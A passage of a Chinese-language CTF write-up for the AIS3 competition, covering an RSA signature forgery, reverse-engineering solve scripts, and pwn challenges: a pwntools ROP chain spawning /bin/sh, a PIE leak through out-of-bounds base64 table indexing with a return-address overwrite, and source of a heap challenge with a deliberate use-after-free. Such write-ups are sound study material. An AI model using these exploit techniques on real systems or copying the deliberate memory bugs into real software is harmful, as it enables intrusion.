= N//p_rec if p_rec!=1: print("p recovered: ",p_rec) print("q recovered: ",q_rec) break #找到p,q後可以找出私鑰 phi=(p_rec-1)*(q_rec-1) d=pow(e,-1,phi) signature=pow(58390298905807142549536595535040245956000670278430985491775738737127640060178,d,N) signature=long_to_bytes(signature) import binascii signature = binascii.hexlify(signature).decode('utf-8') print("這裡拿到的是hex的signature,轉成base64(可以丟到cyberchef): ", signature) #最後選擇3,丟進去就get flag了 ``` ![image](https://hackmd.io/_uploads/Skhk4-zV0.png) ![image](https://hackmd.io/_uploads/BJsuQZzEC.png) > AIS3{IJustWantItFasterQAQ} # Reverse ## The Long Print 有個執行檔,先丟進去ida作分析,因為執行起來會卡,所以先把sleep patch掉,但他沒有印出flag ![image](https://hackmd.io/_uploads/HkhY7pfVR.png) `\rOops! Where is the flag? I am sure that the flag is already printed!` 分析一下發現他運算完後忘記print出來來,就把東西抓下來run一遍就行了 ![image](https://hackmd.io/_uploads/r1WwNTfEC.png) ### script ```python= import time secret = bytearray([ ord('F'), ord('A'), ord('K'), ord('E'), 0x0B, 0x00, 0x00, 0x00, ord('{'), ord('h'), ord('o'), ord('o'), 0x0A, 0x00, 0x00, 0x00, ord('r'), ord('a'), ord('y'), ord('_'), 0x02, 0x00, 0x00, 0x00, ord('s'), ord('t'), ord('r'), ord('i'), 0x08, 0x00, 0x00, 0x00, ord('n'), ord('g'), ord('s'), ord('_'), 0x06, 0x00, 0x00, 0x00, ord('i'), ord('s'), ord('_'), ord('a'), 0x05, 0x00, 0x00, 0x00, ord('l'), ord('w'), ord('a'), ord('y'), 0x07, 0x00, 0x00, 0x00, ord('s'), ord('_'), ord('a'), ord('n'), 0x04, 0x00, 0x00, 0x00, ord('_'), ord('u'), ord('s'), ord('e'), 0x09, 0x00, 0x00, 0x00, ord('f'), ord('u'), ord('l'), ord('_'), 0x00, 0x00, 0x00, 0x00, ord('c'), ord('o'), ord('m'), ord('m'), 0x01, 0x00, 0x00, 0x00, ord('a'), ord('n'), ord('z'), ord('}'), 0x03, 0x00, 0x00, 0x00, ]) key = [ 0x3A011001, 0x4C4C1B0D, 0x3A0B002D, 0x454F40, 0x3104321A, 0x3E2D161D, 0x2C120A31, 0x0D3E1103, 0x0C1A002C, 0x41D1432, 0x1A003100, 0x76180807 ] for i in range(0, 24, 2): secret_value = int.from_bytes(secret[4 * i:4 * i + 4], 'little') secret_index = int.from_bytes(secret[4 * i + 4:4 * i + 8], 'little') % len(key) v4 = secret_value ^ key[secret_index] for j in range(4): print(chr(v4 & 0xFF), end='', flush=True) v4 >>= 8 print(v4) #AIS3{You_are_the_master_of_time_management!!!!?} ``` > AIS3{You_are_the_master_of_time_management!!!!?} ## 火拳のエース 丟進去ida,一樣把printflag裡面的sleep patch掉,把sleep大概邏輯是長這樣,輸入的東西就是flag,經過運算後會比對看對不對,所以就是反著推一遍就行了(最後加上他一開始印的flag開頭) ![image](https://hackmd.io/_uploads/BJSvNwmN0.png) ![image](https://hackmd.io/_uploads/SybYVPQV0.png) 另外每個字是獨立運算的,所以complex可以透過輸入來對答案(大寫),這樣就不需要逆推那一坨複雜的運算了 ```python= import time import random def xor_strings(a1, a2, a3): result = '' for i in range(8): v6 = int(a1[i], 16) v5 = int(a2[i], 16) result += hex(v6 ^ v5)[2:] return result def complex_function(a1, a2): if a1 <= 64 or a1 > 90: print("It feels slightly wrong, but almost correct...") v8 = (17 * a2 + a1 - 65) % 26 v7 = a2 % 3 + 3 v2 = a2 % 3 if a2 % 3 == 2: v8 = (v8 - v7 + 26) % 26 elif v2 <= 2: if v2: if v2 == 1: v8 = (2 * v7 + v8) % 26 else: v8 = (v7 * v8 + 7) % 26 return chr(v8 + 65) unk_804A163 = [ 0x0E, 0x0D, 0x7D, 0x06, 0x0F, 0x17, 0x76, 0x04] v12 = [0x6D, 0x00, 0x1B, 0x7C, 0x6C, 0x13, 0x62, 0x11]# v13 = [0x1E, 0x7E, 0x06, 0x13, 0x07, 0x66, 0x0E, 0x71]# v14 = [0x17, 0x14, 0x1D, 0x70, 0x79, 0x67, 0x74, 0x33]# def main(): v3 = int(time.time()) random.seed(v3) buffer0 = [''] * 8 buffer1 = [''] * 8 buffer2 = [''] * 8 buffer3 = [''] * 8 buffer0 = input("Enter value for buffer0 (8 characters): ").strip()[:8] buffer1 = input("Enter value for buffer1 (8 characters): ").strip()[:8] buffer2 = input("Enter value for buffer2 (8 characters): ").strip()[:8] buffer3 = input("Enter value for buffer3 (8 characters): ").strip()[:8] xor_strings(buffer0, unk_804A163, buffer0) xor_strings(buffer1, v12, buffer1) xor_strings(buffer2, v13, buffer2) xor_strings(buffer3, v14, buffer3) for i in range(8): buffer0[i] = complex_function(ord(buffer0[i]), i) buffer1[i] = complex_function(ord(buffer1[i]), i + 32) buffer2[i] = complex_function(ord(buffer2[i]), i + 64) buffer3[i] = complex_function(ord(buffer3[i]), i + 96) if (buffer0 == "DHLIYJEG" and buffer1 == "MZRERYND" and buffer2 == "RUYODBAH" and buffer3 == "BKEMPBRE"): print("Yes! I remember now, this is it!") else: print("It feels slightly wrong, but almost correct...") main() ``` ### script 這是我推的過程,可以推推看(我知道很亂就是了) ```python= #unk_804A163 = [ 0x0E, 0x0D, 0x7D, 0x06, 0x0F, 0x17, 0x76, 0x04, 0x00] #v12 = [0x6D, 0x00, 0x1B, 0x7C, 0x6C, 0x13, 0x62, 0x11]# #v13 = [0x1E, 0x7E, 0x06, 0x13, 0x07, 0x66, 0x0E, 0x71]# #v14 = [0x17, 0x14, 0x1D, 0x70, 0x79, 0x67, 0x74, 0x33]# #buffer0="" #xor_strings(buffer0, unk_804A163, buffer0) # ''' def complex_function(buffer0[i], i): #if a1 <= 64 or a1 > 90: # print("It feels slightly wrong, but almost correct...") v8 = (17 * i + buffer0[i] - 65) % 26 v7 = i % 3 + 3 v2 = i % 3 if v2 == 2:#2、5 v8 = (v8 - v7 ) % 26 elif v2 == 1:#1、4、7 v8 = (2 * v7 + v8) % 26 else:#0、3、6 v8 = (v7 * v8 + 7) % 26 # return chr(v8 + 65) ''' def reverse_engineer(i, target_char): target_value = ord(target_char) - 65 for buffer0_i in range(65, 91): # Looping through 'A' to 'Z' v8 = (17 * i + buffer0_i - 65) % 26 v7 = i % 3 + 3 v2 = i % 3 if v2 == 2: v8 = (v8 - v7) % 26 elif v2 == 1: v8 = (2 * v7 + v8) % 26 else: v8 = (v7 * v8 + 7) % 26 if v8 == target_value: print(chr(buffer0_i),end="") return None ''' for i in range(8): buffer0[i] = complex_function(ord(buffer0[i]), i) ''' ans="BKEMPBRE" for i in range(0,8): reverse_engineer(i+96,ans[i]) ############################# #"DHLIYJEG"=complex_function(ord(buffer0[i]), i) i=0~7 #ans-65 input_string = "QIIKAHBJ" byte_array = [0x0E, 0x0D, 0x7D, 0x06, 0x0F, 0x17, 0x76, 0x04, 0x00] ascii_values = [ord(char) for char in input_string] result = [ascii_values[i] ^ byte_array[i] for i in range(len(input_string))] result_string = ''.join(chr(value) for value in result) #print(result_string) #_D4MN_4N #TRDMYLWD # input_string = "TRDMYLWD" byte_array = [0x6D, 0x00, 0x1B, 0x7C, 0x6C, 0x13, 0x62, 0x11] ascii_values = [ord(char) for char in input_string] result = [ascii_values[i] ^ byte_array[i] for i in range(len(input_string))] result_string = ''.join(chr(value) for value in result) #print() #print(result_string) #9R_15_5U input_string = "NMTLWVYB" byte_array = [0x1E, 0x7E, 0x06, 0x13, 0x07, 0x66, 0x0E, 0x71] ascii_values = [ord(char) for char in input_string] result = [ascii_values[i] ^ byte_array[i] for i in range(len(input_string))] result_string = ''.join(chr(value) for value in result) #print() #print(result_string) #P3R_P0W3 #ERHAXFUN input_string = "ERHAXFUN" byte_array = [0x17, 0x14, 0x1D, 0x70, 0x79, 0x67, 0x74, 0x33] ascii_values = [ord(char) for char in input_string] result = [ascii_values[i] ^ byte_array[i] for i in range(len(input_string))] result_string = ''.join(chr(value) for value in result) print() print(result_string) #RFU1!!!} #AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!} ``` > AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!} # Pwn ## Mathter ### checksec ![image](https://hackmd.io/_uploads/Hk3VvOy4C.png) 看到開了canary但其實沒開 ![image](https://hackmd.io/_uploads/r1h4P2fNR.png) ### 解法 ![image](https://hackmd.io/_uploads/BJDKvnzV0.png) goodbye函數裡面有`gets`可以做buffer overflow的利用 這邊可以堆ROP - execve('/bin/sh') |暫存器|值| |---|----| |rax|0x3b| |rdi|要執行的參數值(/bin/sh)| |rsi|argv(這裡=0)| |rdx|envp(這裡=0)| 找ROPgadget |ROPgadget|address| |---|----| |pop rax ;ret|0x42e3a7| |pop rdi ;ret|0x402540| |pop rsi ;ret|0x4126a3| |pop rdx ; pop rbx ; ret|0x47b917| |syscall|0x4013ea| |mov [rax + 8], rdx; ret|0x42f6b3| |memory can write|0x4bc140| 另外找到一段可寫段,選一段看起來沒用到的空間來寫入`/bin/sh`,這邊選`0x4bc140` `mov [rax + 8], rdx; ret` 會將rdx的值寫到rax所存的位址+8,所以`/bin/sh`被寫到`0x4bc148` 之後再從這裡拿寫進`rdi` ![image](https://hackmd.io/_uploads/B1x9UnMEA.png) ![image](https://hackmd.io/_uploads/rkfLhdkNA.png) stack狀態 ``` AAAAAA(0x4+0x8) pop rdx rbx /bin/sh\x00 0 pop rax 0x4bc140 mov [rax + 8], rdx; ret pop rax 0x3b pop rdi 0x4bc148 pop rsi 0 pop rdx ; pop rbx 0 0 syscall ``` ### script ```python= from pwn import * context.arch='amd64' #r=remote("chals1.ais3.org",50001) r=process("./mathter") write_binsh={ "pop_rdx_rbx_addr":0x47b917, "pop_rdx_value":b'/bin/sh\x00', "pop_rbx_value":0, "pop_rax_addr":0x42e3a7, "pop_rax_value":0x4bc140, "mov":0x42f6b3 } writebinsh_payload=flat(write_binsh["pop_rdx_rbx_addr"], write_binsh["pop_rdx_value"], write_binsh["pop_rbx_value"], write_binsh['pop_rax_addr'], write_binsh["pop_rax_value"], write_binsh["mov"] ) ROPvar={ 'pop_rax_ret':0x42e3a7, 'pop_rdi_ret':0x402540, 'pop_rsi_ret':0x4126a3, 'pop_rdx_rbx_ret':0x47b917, 'syscall':0x4013ea } STACKvar={ 'rax_var':0x3b, 'rdi_var':0x4bc148, 'rsi_var':0, 'rdx_var':0, 'rbx_var':0 } ROP_payload=flat(ROPvar['pop_rax_ret'], STACKvar['rax_var'], ROPvar['pop_rdi_ret'], STACKvar['rdi_var'], ROPvar['pop_rsi_ret'], STACKvar['rsi_var'], ROPvar['pop_rdx_rbx_ret'], STACKvar['rdx_var'], STACKvar['rbx_var'], ROPvar['syscall']) payload=b'a'*(0x4+0x8)+writebinsh_payload+ROP_payload r.sendlineafter(b"Enter an operation and two numbers (e.g., 1 + 1) :",b"q") r.sendlineafter(b"Are you sure you want to leave? [Y/n]",payload) r.interactive() ``` ![image](https://hackmd.io/_uploads/SJySd3zNR.png) > AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9} ### 題外話 這題好像只是單純的ret2func,結果我把他想太難,直接堆ROP,我以為那兩個function是假的function ## base64 encoder ### source code ```c #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> void Vincent55Orz(){ puts("Here's a shell from NASA hacked Vincent55.🛐🛐🛐"); system("sh"); } void base64_encoding(const char *table, char *buf, size_t len) { printf("Result: "); const int append_mod[3] = {0, 2, 3}; const int mod[3] = {0, 2, 1}; int out = 4 * (len / 3) + append_mod[len % 3]; for (size_t i = 0; i < len;) { int32_t tmp_a = i < len ? buf[i++] : 0; //0xff int32_t tmp_b = i < len ? buf[i++] : 0; //0xff int32_t tmp_c = i < len ? buf[i++] : 0; //0xff int32_t combined = (tmp_a << 0x10) + (tmp_b << 0x08) + tmp_c; //讓她是負數 -> oob //printf("%d %d %d %d\n",(combined >> 18) % 64,(combined >> 12) % 64,(combined >> 6) % 64,(combined >> 18) % 64); // 分別print一個index if (out) { putchar(table[(combined >> 18) % 64]); out--; } if (out) { putchar(table[(combined >> 12) % 64]); out--; } if (out) { putchar(table[(combined >> 6) % 64]); out--; } if (out) { putchar(table[(combined >> 0) % 64]); out--; } } for (int i = 0; i < mod[len % 3]; i++) putchar('='); putchar('\n'); } int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); char buf[0x40]; const char table[0x40] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'}; while (1) { printf("Text: "); memset(buf, 0, sizeof(buf)); if (scanf("%[^\n]%*c", buf) != 1) return 0; base64_encoding(table, buf, strlen(buf)); } return 0; } ``` ### ckecksec ![image](https://hackmd.io/_uploads/rkqyH3bVR.png) 開NX、PIE ### 分析 ```c= scanf("%[^\n]%*c", buf) ``` 這地方有個很明顯的Buffer overflow ```c= void Vincent55Orz(){ puts("Here's a shell from NASA hacked Vincent55.🛐🛐🛐"); system("sh"); } ``` 這個function開了一個shell,如果沒有PIE直接return過去就好了,但這題有開PIE,function的為只會加上PIE base,所以要leak PIE base ``` PIE(stack)-stack offset=PIE base ``` 哪裡可以leak PIE呢 ```c if (out) { putchar(table[(combined >> 18) % 64]); out--; } if (out) { putchar(table[(combined >> 12) % 64]); out--; } if (out) { putchar(table[(combined >> 6) % 64]); out--; } if (out) { putchar(table[(combined >> 0) % 64]); out--; } ``` 這裡要了解一件事,就是C語言裡面的`%`不是取模,而是取餘,所以可以oob。 另外他有一個提示是他有一個debug留下來,可以透過那個debug,在本地自己重新編譯一個後,來知道要索引是多少 ``` printf("%d %d %d %d\n",(combined >> 18) % 64,(combined >> 12) % 64,(combined >> 6) % 64,(combined >> 0) % 64) ``` (記的把最後一個改回0) 之後就開始暴力搜索出 `table[-3] table[-4] table[-5] table[-6] table[-7] table[-8]`,這些byte組起來就是PIE(stack)了 main+299->6 bytes的位址在stack上(PIE過)->oob 索引-3 -4 -5 -6 -7 -8組起來 ![image](https://hackmd.io/_uploads/HJYdjWzVA.png) ![image](https://hackmd.io/_uploads/HJxoiZzV0.png) 找PIE base ![image](https://hackmd.io/_uploads/Bk06oZfNA.png) 找到offset 之後就可以每輪leak出PIE找到base了,最後return過去 ```python= from pwn import * r = process('./base64e') r.sendlineafter(b': ', b'\x55\x55\x01') #改這裡面的,看有沒有輸出想要的索引 # r.recvline() # a = r.recvline() # print(a) # print(hex(a[1])) r.interactive() ``` 總之亂試後就可以找到了 最後就可以減出PIE base ``` 0x40+0x8(old rbp)+ret的func位置+往後跳一點(加上PIE base) ``` ![image](https://hackmd.io/_uploads/BJk3DZGNR.png) ### script ```python= from pwn import * context.arch='amd64' r = remote('chals1.ais3.org', 50002) # r = process('./base64encoder') #-5 ans = 0 r.sendlineafter(b'Text: ', b'\xdc\xba\xbf') r.recvuntil(b'Result: ') a = r.recvline()[1] pie_5=a #-8 r.sendlineafter(b'Text: ', b'\xd5\xb4\xb8') r.recvuntil(b'Result: ') a = r.recvline()[3] pie_8=a #-6 r.sendlineafter(b'Text: ', b'\xd5\xb4\xba\xaa') r.recvuntil(b'Result: ') a = r.recvline()[3] pie_6=a #-4 r.sendlineafter(b'Text: ', b'\xdc\xcb\xaa\xcc') r.recvuntil(b'Result: ') a = r.recvline()[1] pie_4=a #-7 r.sendlineafter(b'Text: ', b'\xf0\x91\x01') r.recvuntil(b'Result: ') a = r.recvline()[1] pie7=a #-3 pie3=0x55 pie=(pie3<<40)+(pie_4<<32)+(pie_5<<24)+(pie_6<<16)+(pie7<<8)+pie_8 PIE_BASE = pie - 0x15f8 #pie - stack offset print(hex(PIE_BASE)) payload = b'A'*(0x40+0x8) + flat(PIE_BASE+0x1231) r.sendlineafter(b': ',payload) r.sendlineafter(b': ',b'\n') r.interactive() #AIS3{1_g0t_WA_on_my_H0m3work_Do_YoU_h4v3_aNY_idea???_22281a41372450db} ``` ![image](https://hackmd.io/_uploads/r10L_bzNA.png) 這題Leak PIE很像之前看到一題叫ROT13的,超有趣的利用方法 > AIS3{1_g0t_WA_on_my_H0m3work_Do_YoU_h4v3_aNY_idea???_22281a41372450db} ## inception ### source code ```c #include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<stdint.h> #define MAX 10 #define LOOP_LIMIT 15 void init(){ setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); setvbuf(stderr, 0, 2, 0); } typedef struct { char *content; int id; } Dream; Dream dreams[MAX]; int next_id = 1; void welcome_message() { printf("Hello Dream Architect, you've been invited to join the Kazma Pikachu Team's Dream Building Training!\n"); printf("Here in our Hyperbolic Time Chamber, you can hone your dream crafting skills and prepare for upcoming missions.\n\n"); } void print_dream_layer_menu() { printf("How deep do you want to build the dream?\n"); printf("1. First layer\n"); printf("2. Second layer\n"); printf("3. Third layer\n"); printf("> "); } void build_dream(){ print_dream_layer_menu(); int choice; scanf("%d", &choice); uint64_t size = 0; switch(choice) { case 1: size = 0x38; break; case 2: size = 0x68; break; case 3: size = 0x108; break; default: printf("Invalid choice.\n\n"); return; } for(int i = 0; i < MAX; ++i){ if(!dreams[i].content){ dreams[i].content = malloc(size); printf("Describe the dream: "); read(0, dreams[i].content, size - 1); dreams[i].content[size - 1] = '\0'; dreams[i].id = next_id++; printf("Dream built with ID %d in the layer!\n\n", dreams[i].id); return; } } printf("All dream layers are occupied!\n\n"); } void infiltrate_dream(){ printf("Enter dream ID to infiltrate:\n> "); int id; scanf("%d", &id); for (int i = 0; i < MAX; ++i){ if(dreams[i].id == id && dreams[i].content != NULL){ printf("Infiltrating dream ID %d:\n%s\n\n", id, dreams[i].content); return; } } printf("No such dream with that ID!\n\n"); } void destroy_dream(){ printf("Enter dream ID to destroy:\n> "); int id; scanf("%d", &id); for (int i = 0; i < MAX; ++i){ if(dreams[i].id == id && dreams[i].content != NULL){ free(dreams[i].content); printf("Dream destroyed!\n\n"); return; } } printf("No such dream with that ID!\n\n"); } void menu(){ printf("1. Build a dream\n"); printf("2. Infiltrate a dream\n"); printf("3. Destroy a dream\n"); printf("4. Exit\n"); printf("> "); } int main(){ init(); printf("\n ██╗ ██╗███╗ ██╗ ██████╗███████╗██████╗ ████████╗██╗ ██████╗ ███╗ ██╗ ██╗ \n"); printf(" ██╔╝ ██║████╗ ██║██╔════╝██╔════╝██╔══██╗╚══██╔══╝██║██╔═══██╗████╗ ██║ ╚██╗ \n"); printf("██╔╝ ██║██╔██╗ ██║██║ █████╗ ██████╔╝ ██║ ██║██║ ██║██╔██╗ ██║ ╚██╗\n"); printf("╚██╗ ██║██║╚██╗██║██║ ██╔══╝ ██╔═══╝ ██║ ██║██║ ██║██║╚██╗██║ ██╔╝\n"); printf(" ╚██╗ ██║██║ ╚████║╚██████╗███████╗██║ ██║ ██║╚██████╔╝██║ ╚████║ ██╔╝ \n"); printf(" ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═╝ \n"); printf(" \n"); welcome_message(); int loop_count = 0; while(loop_count < LOOP_LIMIT){ menu(); int n; scanf("%d", &n); switch(n){ case 1: build_dream(); break; case 2: infiltrate_dream(); break; case 3: destroy_dream(); break; case 4: printf("Enemies are waking up, time to retreat!\n\n"); exit(0); break; default: printf("Capabilities insufficient.\n\n"); break; } loop_count++; } printf("Oh no, running out of stamina...\n"); return 0; } ```